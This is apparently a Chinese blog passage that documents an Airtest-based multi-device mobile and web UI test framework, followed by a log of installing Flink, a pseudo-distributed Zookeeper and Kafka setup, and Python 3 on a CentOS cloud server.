# android|ios|web,当填如web时,需要填写驱动文件位置
platform =android
# driver_path=E:\proj\airtest_auto\exe\chromedriver.exe
driver_path=
# 服务器信的信息,比如本地的ip,用来展示报告
report_host=172.31.105.196
# 本地服务器路径,我把源代码中的report也放在里面了
local_host_path=E:\proj\aritest
# 本地服务器端口
local_host_port=8000
# 启动什么模式,单机和多机
# 如果指定multi就是多机并行,读取multi的配置,否则就为单机模式
boot=multi
[multi]
# 给不同的设备分配测试模块,dev中的设备id一定要填对
test_case = [{"dev":"ZL9LC685V86DNNMN","test_module": ["我的"],"phone":"真机1"}, {"dev":"emulator-5554","test_module":["他的"],"phone":"雷电"}]
#test_case = [{"dev":"emulator-5554","test_module":["他的"],"phone":"雷电"}]

代码分析

使用 pool = Pool() pool.map(self.run_case1, data["test_case"])达到多进程并行设备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
## runner3.py

# 启动入口代码,和之前单机一样,读取配置文件
def run_case(data):
...
test = CustomAirtestCase(data["root_path"], data["dev_connect"])
test.run_air(data)

def run_air(self, data):
self.recording = data["recording"]
self.report_host = "http://" + data["report_host"] + ":" + data["local_host_port"]
# 开启本地http服务器
threading.Thread(target=HttpServer.start, args=(),
kwargs={"local_host_path": data["local_host_path"], "report_host": data["report_host"],"port": data["local_host_port"]}).start()

# 整个用例开始执行时间
start_time = datetime.now().strftime("%H:%M:%S")
pool = Pool()
pool.map(self.run_case1, data["test_case"])
...
# 记录数据采用放到json文件中
test_modules_dev = Runner3Common.get_case_module_dev(PATH("config/case_data.json"))
print("==设备=%s" % test_modules_dev)
Runner3Common.set_result_summary_json({"total_time": total_time, "phone": test_modules_dev["test_dev"], "modules": test_modules_dev["test_modules"]})

# 不同的手机执行不同模块用例
def run_case1(self, data_item):
_dev = data_item["dev"]
# 记录测试设备
Runner3Common.set_case_module_dev({"test_dev": _dev})
# 记录测试模块
for i in data_item["test_module"]:
# 获取到用例列表
get_case_data = Runner3Common.get_cases(data_item, _dev, self.root_path)
for i in get_case_data:
air_device = [self.dev_connect + _dev] # 取设备
# 执行用例
run(root_dir=self.root_path, test_case=i, device=air_device, local_host_path=self.local_host_path,log_date=self.log_date,
recording=self.recording, report_host=self.report_host, phone=data_item["phone"])

# 执行用例这里代码和单机的代码相差不多,把 rpt = report.LogToHtml这里生成日志文件代码写在了这里
def run(root_dir, test_case, device, local_host_path, log_date, recording, report_host, phone):
script = os.path.join(root_dir, test_case["module"], test_case["case"])
log_host_path = os.path.join(test_case["module"], test_case["case"].replace('.air', ''))
log = os.path.join(local_host_path, log_host_path)
os.makedirs(log)
print(str(log) + ' 创建日志文件成功')
output_file = os.path.join(log, 'log.html')
args = Namespace(device=device, log=log, compress=None, recording=recording, script=script, no_image=None)
# 用例开始执行日期
st_date = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
# 用例开始执行时间
s_time = datetime.now().strftime("%H:%M:%S")
try:
run_script(args, AirtestCase)
is_success = True
except:
is_success = False
end_date = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
# 用例结束执行时间
e_time = datetime.now().strftime("%H:%M:%S")
# 用例耗时时间
sum_time = get_case_total_time(s_time, e_time)
# 生成测试用例的详情报告
rpt = report.LogToHtml(script, log, report_host + "/report",
log_host=report_host + "/log/" + log_date + "/" + log_host_path)

rpt.report("log_template.html", output_file=output_file)

测试结果

image-20220121115858698

  • 测试结果的列表页面,优化了下页面

image-20220124111600060

image-20220121120048939

关键字驱动

  • airtest中也能实现关键字驱动?当然也可以
  • 用例调用逻辑

image-20220124112127781

  • yml中的用例格式
1
2
3
4
5
- poco(text="取消").click() if poco(text="取消").exists() else print("")
# 点击我的关注
- poco("com.jianshu.haruki:id/tv_guanzhu").click()
# 点击动态下最近更新的作者第一条数据
- poco("com.jianshu.haruki:id/userIcon").click()
  • 解析yml中的用例,知道此逻辑后,可以定义任意关键字
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

def operate_test_case(poco, yml):
"""
读取yml用例文件,执行用例
:param poco:
:param yml:
:return:
"""
handing_error(poco)
with open(yml, encoding='utf-8') as f:
d = yaml.safe_load(f)
# 启动应用后的容错
for i in d:
# 寻找关键字click
event_click = i.split(".click()")
# 寻找关键字if
event_if = i.split("if")
print("元素为:%s" % i)
print("操作元素开始时间:%s" % datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
# 非if语句的click事件
if len(event_click) > 1 and len(event_if) == 1:
# 利用eval把字符串转换为函数,每次点击之前智能等待
eval(event_click[0] + ".wait_for_appearance(5)")
# 执行用例
eval(i)
else:
# 其他的poco事件
sleep(2)
eval(i)
print("操作元素结束时间:%s" % datetime.now().strftime("%Y-%m-%d %H:%M:%S"))

# 操作元素后的容错
handing_error(poco)
  • 如果有写逻辑比较复杂,不适合写到yml中,可以混合使用,比如下面这样写用例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def operate():
poco = AndroidUiautomationPoco(use_airtest_input=True, screenshot_each_action=False)
try:
# 初始化用例
init_app()
poco(text="取消").click() if poco(text="取消").exists() else print("")


case_path = os.path.join(path, "yml", "xxx")
operate_test_case(poco, case_path)

# 点击我的
poco("com.jianshu.haruki:id/tv_more_menu").wait(5).click()
# 点击我的文章
poco(text="我的文章").wait(5).click()
# 向上滑动
poco("com.jianshu.haruki:id/refresh_view").focus([0.5, 0.5]).swipe([0.5, -0.5])

case_path = os.path.join(path, "yml", "oooo")
operate_test_case(poco, case_path)

except Exception as e:
snapshot(msg="报错后截图")
raise e

多机web

  • 代码逻辑几乎一样,只是把Namespace方法中的devicec传为None
1
2
3
4
5
6
   if device == "web":
air_device = None
else:
air_device = [dev_connect + device]
...
args = Namespace(device=air_device, log=log, compress=None, recording=recording, script=script, no_image=None)
  • 配置文件略有不同
1
2
3
4
5
6
7
8
9
10
11
12
# setting1.yaml
[default]
# 手机名字
phone=谷歌浏览器

# android|ios|web,当填如web时,需要填写驱动文件位置
platform =web
driver_path=E:\proj\airtest_auto\util\chromedriver.exe

[multi]
# 如果是web测试,dev一定要填web
test_case = [{"dev":"web","test_module": ["home"],"phone":"谷歌浏览器1"}, {"dev":"web","test_module":["home2"],"phone":"谷歌浏览器2"}]
  • 用例编写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- encoding=utf8 -*-
from airtest.core.api import *
import sys
# pip3 install pynput
# pip3 install airtest-selenium
# 得到绝对路径

abs_path = os.path.abspath(os.path.dirname(__file__))
# 得到公共用例目录
common_path = os.path.join(abs_path.split("airtest_auto")[0], "airtest_auto", "web_util")
sys.path.append(common_path)
from web_util import *

driver = get_driver()
try:
driver.get("http://www.baidu.com")
driver.find_element_by_id("kw").send_keys("test")
driver.find_element_by_id("su").click()
except Exception as e:
snapshot(msg="报错后截图")
raise e
finally:
driver.close()
  • 测试结果

image-20220124173817575

总结

  • 还有一种最优方案是,后台有个监控任务,不停的读取用例队列,每台手机运行20条用例(可设置)多台并行,手机(设备)不够就等待,手机有空闲后,分配用例队列中的用例,直到用例全部分配完毕。

说明

  • 基于Airtest设计的自动化测试框架

环境设置

  • AirtestIDE-win-1.2.13 请自行安装,用来调试用例
  • 此次装的python版本为 3.7.9
  • 本地电脑的adb设置为AirtestIDE中的路径

image-20220118152720452

1
2
3
4
C:\Users\Admin>adb
Android Debug Bridge version 1.0.40
Version 4986621
Installed as E:\exe\AirtestIDE\airtest\core\android\static\adb\windows\adb.exe
  • 安装依赖文件
1
2
pip install -U airtest
pip install -U pocoui
  • 本次测试机器使用雷电模拟器,真机也可以
1
2
3
4
C:\Users\Admin>adb devices
List of devices attached
emulator-5554 device

  • 安装测试apk文件
1
>adb install -g -r C:\Users\Admin\Downloads\com.jianshu.haruki_6.4.4_liqucn.com.apk
  • 在模拟器中打开手动登录
  • 复制python环境中的Lib目录的airtest下的report文件到新建文件夹下面(E:\proj\aritest)
    • 放生成的测试报告和日志文件,默认放到项目中,对项目管理非常不友好

image-20220118164513042

  • 然后新建一个log文件,用来放测试用例报告的

image-20220118164740800

代码分析

启动器

  • 启动器代码做到和用例文件分离,现在启动器支撑ios(待测试),android(已测试),web(待测试),理论上airtest支持的都支持

  • 启动器需要取配置文件进行,配置文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
[default]
# 包名
pkg = com.jianshu.haruki
# 手机名字
phone=雷电模拟器
# 设备连接名字
dev_connect=Android://127.0.0.1:5037/emulator-5554
#dev_connect=Android://127.0.0.1:5037/ZL9LC685V86DNNMN
# 用例目录
root_path=E:\proj\airtest_auto\air_case\android
# test_plan=1 表示调试用例需要配合test_module使用,0表示全部用例
test_plan=1
test_module=["我的"]
# false|true 表示是否运行用例之前,删除log文件夹,删除后会影响查看历史报告
remove_log=true
# false|true 是否开启录屏,若传true就会自动录屏,但是在模拟器上录屏失败,只使用于真机
recording=false
# android|ios|web,当填如web时,需要填写驱动文件位置
platform =android
# driver_path=E:\proj\airtest_auto\exe\chromedriver.exe
driver_path=
# 服务器信的信息,比如本地的http服务器,用来展示报告
report_host=http://172.31.105.196:8000
# 本地服务器路径,我把源代码中的report也放在里面了
local_host_path=E:\proj\aritest
# 本地服务器端口
local_host_port=8000
[mail]
# 是否启动发送邮件,传false|true
enable =false
# 收件人
recipient =["284772894@qq.com","284772895@qq.com"]
# 发件人smtp
mail_host = smtp.126.com
# 发件人
mail_user = ashikun@126.com
# 授权码
mail_pass = XXXXX
port = 465
  • 启动器代码分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# 读取配置文件,进行运行函数
PATH = lambda p: os.path.abspath(
os.path.join(os.path.dirname(__file__), p)
)
path = PATH("config/setting1.ini")
data = ReadIni(path).get_ini_list()
run_case(data)



def run_case(data):
# 当平台为安卓时,检查是否连接成功
if data.get("platform", "1") == "android":
devices = attached_devices()
if not devices:
print("无可用设备")
return
elif data.get("platform", "1") == "ios":
pass
elif data.get("platform", "1") == "web":
pass
test = CustomAirtestCase(data["root_path"])
device = [data["dev_connect"]]
test.run_air(device, data)


def run_air(self, device, data):
get_data_list = get_test_case(data)
if not get_data_list:
print("无可用用例")
return
# 开启本地http服务器
HttpServer.start(data["local_host_path"], data["local_host_port"])
# 循环执行用例
for j in get_data_list:
...
# 执行用例
get_run = run(data["root_path"], j, device, local_host_path, data["recording"])

..
# 生成测试用例的详情报告,注意这里修改了lib目录下的report.py中源代码,主要为了达到通过服务器ip访问测试报告
rpt = report.LogToHtml(get_run["script"], get_run["log"], data["report_host"]+"/report", log_host=
data["report_host"] + "/log/" + log_date + "/" + get_run["log_host_path"])
rpt.report("log_template.html", output_file=get_run["output_file"])
# self。results主要记录测试用例结果,通过解析summary_template.html生成测试报告
result = {"result": get_run["is_success"], "start_date": st_date,"end_date": end_date, "sum_time": sum_time,"log": s_log, "name": s_name}
modules.append(j["module"])
self.results["data"].append(result)
  • from airtest.report import report 里面的report.py文件修改,实际文件目录如图:

image-20220120112555007

  • report.py文件修改
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
class LogToHtml(object):
scale = 0.5
# 这里的log_host是我新增的日志文件服务器地址,这样新增一个字段,不影响到其他代码逻辑

def __init__(self, script_root, log_root="", static_root="", export_dir=None, script_name="", logfile=None, lang="en", plugins=None, log_host=None):
...
self.log_host = log_host # shikun 2022-1-19

# 这个函数,主要生成log.html文件中的图片展示
def _translate_screen(self, step, code):
...
for item in step["__children__"]:
if item["data"]["name"] == "try_log_screen":
snapshot = item["data"].get("ret", None)
if isinstance(snapshot, six.text_type):
src = snapshot
elif isinstance(snapshot, dict):
src = snapshot['screen']
screen['resolution'] = snapshot['resolution']
else:
continue
if self.export_dir: # all relative path
screen['_filepath'] = os.path.join(DEFAULT_LOG_DIR, src)
else:
screen['_filepath'] = os.path.abspath(os.path.join(self.log_root, src))

# 修改了这里逻辑, screen['src']展示的图片路径就Log.html中img src中的路径
if self.log_host:
screen['_filepath'] = self.log_host + "/" + src
screen['src'] = screen['_filepath']
# 根据模板文件生成测试报告,这里主要对视频文件路径进行处理
def report(self, template_name=HTML_TPL, output_file=HTML_FILE, record_list=None):
....
if not record_list:
record_list = [f for f in os.listdir(self.log_root) if f.endswith(".mp4")]
# 源代码时这样,我多加了个log_host
# data = self.report_data(output_file=output_file, record_list=record_list)
# shikun-2121-1-19
data = self.report_data(output_file=output_file, record_list=record_list, log_host=self.log_host)

# log_host 为我新增
def report_data(self, output_file=None, record_list=None, log_host=None):
...
if record_list:
records = [os.path.join(DEFAULT_LOG_DIR, f) if self.export_dir
else os.path.abspath(os.path.join(self.log_root, f)) for f in record_list]
# 对视频路径进行处理
if log_host:
records = []
for i in record_list:
records.append(log_host + "/" + i)

  • 运行runner5.py

image-20220120113714163

  • 通过http服务查看运行结果

image-20220120113910981

image-20220120113940586

image-20220120114713093

  • 实际上http服务,定位到的就是在配置文件中的:local_host_path=E:\proj\aritest
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
E:\proj\aritest>dir log\2022-01-20-10-56-21
驱动器 E 中的卷是 软件盘
卷的序列号是 240F-1787

E:\proj\aritest\log\2022-01-20-10-56-21 的目录

2022/01/20 10:58 <DIR> .
2022/01/20 10:58 <DIR> ..
2022/01/20 10:58 2,803 summary_2022-01-20-10-58-33.html
2022/01/20 10:58 1,568 summary_template.html
2022/01/20 10:57 <DIR> 他的
2022/01/20 10:57 <DIR> 我的
2 个文件 4,371 字节
4 个目录 19,213,107,200 可用字节

E:\proj\aritest>dir report
驱动器 E 中的卷是 软件盘
卷的序列号是 240F-1787

E:\proj\aritest\report 的目录

2022/01/18 16:43 <DIR> .
2022/01/18 16:43 <DIR> ..
2022/01/18 16:42 <DIR> css
2022/01/18 16:42 <DIR> fonts
2022/01/18 16:42 <DIR> image
2022/01/18 16:42 <DIR> js
2021/05/21 10:28 10,634 log_template.html
2021/08/16 10:43 21,860 report.py
2021/06/23 16:53 22,405 test.py
2018/08/28 11:39 0 __init__.py
4 个文件 54,899 字节
6 个目录 19,213,107,200 可用字节
  • 修改好的report.py文件已经放在项目跟目录,可以覆盖到各自目录即可

其他

说明

  • 本文章主要是学Flink 处理实时数据,使用zk+kafka搭建日志系统,python编写测试代码
  • 本次服务器,采用的腾讯云服务器,使用的centos7 系统
  • 本次的flink采用本地部署的方式,zk+kafka采用伪分布式

Flink特点

  • 采用了基于操作符(Operator)的连续流模型,可以做到微秒级别的延迟。Flink最核心的数据结构是Stream,它代表一个运行在多分区上的并行流。在大数据场景中,经常用来对实时要求比较高的操作,比如实时处理。
  • 对于以下场景,你可以选择 Spark:

    • 数据量非常大而且逻辑复杂的批数据处理,并且对计算效率有较高要求(比如用大数据分析来构建推荐系统进行个性化推荐、广告定点投放等);
    • 基于历史数据的交互式查询,要求响应较快;
    • 基于实时数据流的数据处理,延迟性要求在在数百毫秒到数秒之间。
  • Spark完美满足这些场景的需求,而且它可以一站式解决这些问题,无需用别的数据处理平台。由于Flink是为了提升流处理而创建的平台,所以它适用于各种需要非常低延迟(微秒到毫秒级)的实时数据处理场景,比如实时日志报表分析。
    而且Flink 用流处理去模拟批处理的思想,比Spark 用批处理去模拟流处理的思想扩展性更好

  • 具体参考

环境安装

java

  • flink安装的版本现在在官网为最新版本:V1.14.2,对java要求为8或者11
  • 我之前已经搭建好了java刚好为 java8,此步省略
1
2
3
4
5
6
[root@VM-24-13-centos ~]# java -version
java version "1.8.0_311"
Java(TM) SE Runtime Environment (build 1.8.0_311-b11)
Java HotSpot(TM) 64-Bit Server VM (build 25.311-b11, mixed mode)
[root@VM-24-13-centos ~]#

  • 常见部署模式分为:local本地部署(学习研究环节),集群模式有Standalone Cluster、Flink ON YARN、Mesos,Docker,Kubernetes等
  • 本次采用本地部署,后续打算用本地三台虚拟机的方式学习(和hadoop一起)
1
2
3
4
5
6
7
8
9
wget  http://mirrors.aliyun.com/apache/flink/flink-1.14.2/flink-1.14.2-bin-scala_2.11.tgz
tar -zxvf flink-1.14.2-bin-scala_2.11.tgz
# 配置环境变量
vi /etc/profile

export FLINK_HOME=/usr/local/flink-1.14.2
export PATH=$PATH:$FLINK_HOME/bin

source /etc/profile
  • 启动flink
1
2
3
4
5
6
7
8
9

[root@VM-24-13-centos flink-1.14.2]# ./bin/start-cluster.sh
Starting cluster.
Starting standalonesession daemon on host VM-24-13-centos.
Starting taskexecutor daemon on host VM-24-13-centos.

[root@VM-24-13-centos flink-1.14.2]# ps -ef | grep flink
root 22422 1 3 17:05 pts/1 00:00:06 /usr/local/jdk1.8.0_311/bin/java .../flink-root-standalonesession-0-VM-24-13-c

  • flink一般都是8081端口,需要服务器防火墙打开,然后再腾讯云服务器再单独开启相应端口

image-20220104172514390

1
2
3
4
[root@VM-24-13-centos flink-1.14.2]# firewall-cmd --zone=public --add-port=8081/tcp --permanent
success
[root@VM-24-13-centos flink-1.14.2]# firewall-cmd --reload
success
  • 远程可以访问

image-20220104172658930

kafka

  • 一个分布式的、可分区的、可复制的消息中间件系统。kafka依赖于zookeeper

Zookeeper

  • 注册中心,主要功能就是对中间件进行分布式通知/协调,比如对外部需要调用kafka,其实是通过调用zk进行协调访问。
  • Master选举的方式是核心,可以看看zookeeper的原理和应用(非常详细透彻)ZooKeeper原理及介绍,我暂时也没完全理解,zk有三个角色:leader(主)、follower(从)、observer(观察)
  • 安装kafka之前,先安装zk,zk有三种部署方式:本地、伪分布式、完全分布式。本次打算采用伪分布式
1
2
3
4
wget http://mirrors.aliyun.com/apache/zookeeper/zookeeper-3.7.0/apache-zookeeper-3.7.0-bin.tar.gz
tar -zxvf apache-zookeeper-3.7.0-bin.tar.gz

mv apache-zookeeper-3.7.0-bin zookeeper_01
  • 复制1份zoo.cfg 配置文件,命名为 zoo.cfg,并做好配置,注意填入的ip要填入腾讯云的内外ip,之前填入公网ip一直启动失败
1
2
3
4
5
6
7
8
9
cd zookeeper_01/conf
cp zoo_sample.cfg zoo.cfg
vi zoo.cfg

dataDir=/usr/local/zookeeper_01/data
clientPort=2181
server.1=ip:2881:3881
server.2=ip:2882:3882
server.3=ip:2883:3883
  • 复制zookeeper_01目录伪zookeeper_02,配置zoo.cfg
1
2
3
4
5
6
7
8
9
10
cd /usr/local
mv zookeeper_01 zookeeper_02
cd zookeeper_02
vi zoo.cfg

dataDir=/usr/local/zookeeper_02/data
clientPort=2182
server.1=ip:2881:3881
server.2=ip:2882:3882
server.3=ip:2883:3883
  • 复制zookeeper_01目录伪zookeeper_03,配置zoo.cfg
1
2
3
4
5
6
7
8
9
10
11
cd /usr/local
mv zookeeper_01 zookeeper_03
cd zookeeper_03
vi zoo.cfg

dataDir=/usr/local/zookeeper_03/data
clientPort=2183
server.1=ip:2881:3881
server.2=ip:2882:3882
server.3=ip:2883:3883

  • 修改zookeeper_01中conf目录下zoo.cfg文件
1
2
3
4
5
dataDir=/usr/local/zookeeper_01/data
clientPort=2181
server.1=ip:2881:3881
server.2=ip:2882:3882
server.3=ip:2883:3883
  • 修改zookeeper_02中conf目录下zoo.cfg文件
1
2
3
4
5
dataDir=/usr/local/zookeeper_02/data
clientPort=2182
server.1=ip:2881:3881
server.2=ip:2882:3882
server.3=ip:2883:3883
  • 修改zookeeper_03中conf目录下zoo.cfg文件
1
2
3
4
5
dataDir=/usr/local/zookeeper_03/data
clientPort=2183
server.1=ip:2881:3881
server.2=ip:2882:3882
server.3=ip:2883:3883
  • 分别启动zookeeper_01、zookeeper_02、zookeeper_03
1
2
3
[root@VM-24-13-centos zookeeper_01]# bin/zkServer.sh start
[root@VM-24-13-centos zookeeper_01]# ../zookeeper_02/bin/zkServer.sh start
[root@VM-24-13-centos zookeeper_01]# ../zookeeper_03/bin/zkServer.sh start
  • 查看有三个QuorumPeerMain进程
1
2
3
4
5
6
7
8
9
10
11
12
13

[root@VM-24-13-centos zookeeper_01]# jps
4674 QuorumPeerMain
2594 NodeManager
2467 ResourceManager
4774 QuorumPeerMain
32550 CMDRunner.jar
22422 StandaloneSessionClusterEntrypoint
30150 SecondaryNameNode
6087 Jps
22698 TaskManagerRunner
29930 DataNode
4589 QuorumPeerMa
  • 查看每个zk启动的模式,发现zookeeper_03的model为leader
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

[root@VM-24-13-centos zookeeper_01]# bin/zkServer.sh status
ZooKeeper JMX enabled by default
Using config: /usr/local/zookeeper_01/bin/../conf/zoo.cfg
Client port found: 2181. Client address: localhost. Client SSL: false.
Mode: follower
[root@VM-24-13-centos zookeeper_01]# ../zookeeper_02/bin/zkServer.sh status
ZooKeeper JMX enabled by default
Using config: /usr/local/zookeeper_02/bin/../conf/zoo.cfg
Client port found: 2182. Client address: localhost. Client SSL: false.
Mode: follower
[root@VM-24-13-centos zookeeper_01]# ../zookeeper_03/bin/zkServer.sh status
ZooKeeper JMX enabled by default
Using config: /usr/local/zookeeper_03/bin/../conf/zoo.cfg
Client port found: 2183. Client address: localhost. Client SSL: false.
Mode: leader

kafka介绍

  • kafka是Apache组织下的一个开源系统,它的最大的特性就是可以实时的处理大量数据以满足各种需求场景:比如基于hadoop平台的数据分析、低时延的实时系统、storm/spark流式处理引擎等。kafka现在它已被多家大型公司作为多种类型的数据管道和消息系统使用。
  • 来源于这里

kafka角色

角色 说明
Broker Kafka服务器,无论是单台Kafka还是集群,被统一叫做Broker
Producer 指消息的生产者,负责发布消息到kafka broker
Consumer 指消息的消费者,从kafka broker拉取数据,并消费这些已发布的消息。Kafka发布消息通常有两种模式:**队列模式(queuing)和发布/订阅模式(publish-subscribe)**。在队列模式下,只有一个消费组,而这个消费组有多个消费者,一条消息只能被这个消费组中的一个消费者所消费;而在发布/订阅模式下,可有多个消费组,每个消费组只有一个消费者,同一条消息可被多个消费组消费
Topic 主题,用于建立生产者和消费者之间的订阅关系,生产者将消息发送到指定的Topic,然后消费者再从该Topic下去取消息
Partition 消息分区,一个Topic下面会有多个Partition,每个Partition都是一个有序队列,Partition中的每条消息都会被分配一个有序的id。
Consumer Group 消费者组,可以给每个Consumer指定消费组,若不指定消费者组,则属于默认的group
Message 消息,通信的基本单位,每个producer可以向一个topic发布一些消息。

kafka工作流程

  • 生产者定期向主题发送消息。

  • Kafka broker将所有消息存储在为该特定主题配置的分区中。它确保消息在分区之间平等共享。如果生产者发送两个消息,并且有两个分区,则Kafka将在第一个分区中存储一个消息,在第二个分区中存储第二个消息。

  • 消费者订阅一个特定的主题。一旦消费者订阅了一个主题,Kafka将向消费者提供该主题的当前偏移量,并将偏移量保存在ZooKeeper中。

  • 消费者将定期请求Kafka新消息。

  • 一旦Kafka收到来自生产者的消息,它会将这些消息转发给消费者。消费者将收到消息并处理它。

  • 一旦消息被处理,消费者将向Kafka broker发送确认。

  • 一旦Kafka收到确认,它会将偏移量更改为新值,并在ZooKeeper中进行更新。由于ZooKeeper中保留了偏移量,因此即使在服务器出现故障时,消费者也可以正确读取下一条消息

kafka拓扑架构

  • 一个典型的Kafka集群包含若干Producer,若干broker、若干Consumer Group,以及一个Zookeeper集群。Kafka通过Zookeeper管理集群配置,选举leader,以及在Consumer Group发生变化时进行rebalance。Producer使用push模式将消息发布到broker,Consumer使用pull模式从broker订阅并消费消息。典型架构如下图所示

image-20220107101958730

安装配置kafka

1
2
3
4
wget --no-check-certificate https://dlcdn.apache.org/kafka/3.0.0/kafka_2.12-3.0.0.tgz
tar -zxvf kafka_2.12-3.0.0.tgz
mv kafka_2.12-3.0.0 kafka
cd kafka
  • 复制server.properties命名为server1.properties,配置如下
1
2
3
4
5
6
7
8
9
10
11
cd kafka/config
cp server.properties server1.properties
vi server1.properties


# 服务器标识
broker.id=1
listeners=PLAINTEXT://10.0.24.13:9091
log.dirs=/usr/kafka/kafka-logs1
zookeeper.connect=10.0.24.13:2181,10.0.24.13:2182,10.0.24.13:2183

  • 复制server1.properties命名为server2.properties,配置如下
1
2
3
4
5
6
7
8
9
10
cp server.properties1 server2.properties
vi server1.properties


# 服务器标识
broker.id=2
listeners=PLAINTEXT://10.0.24.13:9092
log.dirs=/usr/kafka/kafka-logs2
zookeeper.connect=10.0.24.13:2182,10.0.24.13:2182,10.0.24.13:2182

  • 复制server1.properties命名为server3.properties,配置如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
cp server.properties1 server3.properties
vi server3.properties


# 服务器标识
broker.id=3
advertised.listeners=PLAINTEXT://10.0.24.13:9093
log.dirs=/usr/kafka/kafka-logs3
zookeeper.connect=10.0.24.13:2881,10.0.24.13:2882,10.0.24.13:2883


# 创建日志文件
[root@VM-24-13-centos kafka]# mkdir kafka-logs1 kafka-logs2 kafka-logs3

  • 修改bin目录下的kafka-server-start.sh文件,将初始堆的大小(-Xms)设置小一些,不然启动报错
1
export KAFKA_HEAP_OPTS="-Xmx1024M -Xms128M"
  • 启动kafka。切记先要启动zk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

[root@VM-24-13-centos local]# kafka/bin/kafka-server-start.sh kafka/config/server1.properties

[root@VM-24-13-centos local]# kafka/bin/kafka-server-start.sh kafka/config/server2.properties

[root@VM-24-13-centos local]# kafka/bin/kafka-server-start.sh kafka/config/server3.properties
...
2022-01-07 18:28:37,222] INFO [ExpirationReaper-3-topic]: Starting (kafka.server.DelayedOperationPurgatory$ExpiredOperationReaper)
[2022-01-07 18:28:37,239] INFO [ExpirationReaper-3-Heartbeat]: Starting (kafka.server.DelayedOperationPurgatory$ExpiredOperationReaper)
[2022-01-07 18:28:37,249] INFO [ExpirationReaper-3-Rebalance]: Starting (kafka.server.DelayedOperationPurgatory$ExpiredOperationReaper)
[2022-01-07 18:28:37,266] INFO [GroupCoordinator 3]: Starting up. (kafka.coordinator.group.GroupCoordinator)
[2022-01-07 18:28:37,271] INFO [GroupCoordinator 3]: Startup complete. (kafka.coordinator.group.GroupCoordinator)
[2022-01-07 18:28:37,289] INFO [TransactionCoordinator id=3] Starting up. (kafka.coordinator.transaction.TransactionCoordinator)
[2022-01-07 18:28:37,292] INFO [TransactionCoordinator id=3] Startup complete. (kafka.coordinator.transaction.TransactionCoordinator)
[2022-01-07 18:28:37,302] INFO [Transaction Marker Channel Manager 3]: Starting (kafka.coordinator.transaction.TransactionMarkerChannelManager)
[2022-01-07 18:28:37,332] INFO [ExpirationReaper-3-AlterAcls]: Starting (kafka.server.DelayedOperationPurgatory$ExpiredOperationReaper)
[2022-01-07 18:28:37,367] INFO [SocketServer listenerType=ZK_BROKER, nodeId=3] Starting socket server acceptors and processors (kafka.network.SocketServer)
[2022-01-07 18:28:37,370] INFO [/config/changes-event-process-thread]: Starting (kafka.common.ZkNodeChangeNotificationListener$ChangeEventProcessThread)
[2022-01-07 18:28:37,396] INFO [SocketServer listenerType=ZK_BROKER, nodeId=3] Started data-plane acceptor and processor(s) for endpoint : ListenerName(PLA

  • 查看kafka和flink是否启动
1
2
3
4
5
6
7
8
9
10
11
[root@VM-24-13-centos ~]# jps
5187 QuorumPeerMain # zk
10853 Jps
5110 QuorumPeerMain # zk
5271 QuorumPeerMain # zk
10407 Kafka #kafka
4216 StandaloneSessionClusterEntrypoint
9866 Kafka # kafka
4491 TaskManagerRunner # flink
8494 Kafka # kafka

python3

  • 服务器现在默认用的python2.7,现在升级为python3
1
2
3
4
5
6
7
8
9
# 安装依赖文件
yum install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gcc make

wget https://www.python.org/ftp/python/3.7.9/Python-3.7.9.tar.xz
tar -xvf Python-3.7.9.tar.xz
cd Python-3.7.9.tar.xz

./configure prefix=/usr/local/python3.7.9 # 指定编译python存放路径
make && make install
  • 备份python2
1
mv /usr/bin/python /usr/bin/python.bak
  • 创建软链接
1
ln -s /usr/local/python3/bin/python3 /usr/bin/python
  • 修改yum配置文件。由于执行CentOS的yum命令需要使用自带的python2的版本,所以需要做两处修改
1
2
3
4
vi /usr/bin/yum
vi /usr/libexec/urlgrabber-ext-down

将 这两个文件的 #!/usr/bin/python修改为 #!/usr/bin/python2
  • 查看python3版本
1
2
[root@VM-24-13-centos local]# python --version
Python 3.7.9

测试过程

  • 暂时放弃,服务器内存不足,在一台机器上部署分布式配置不够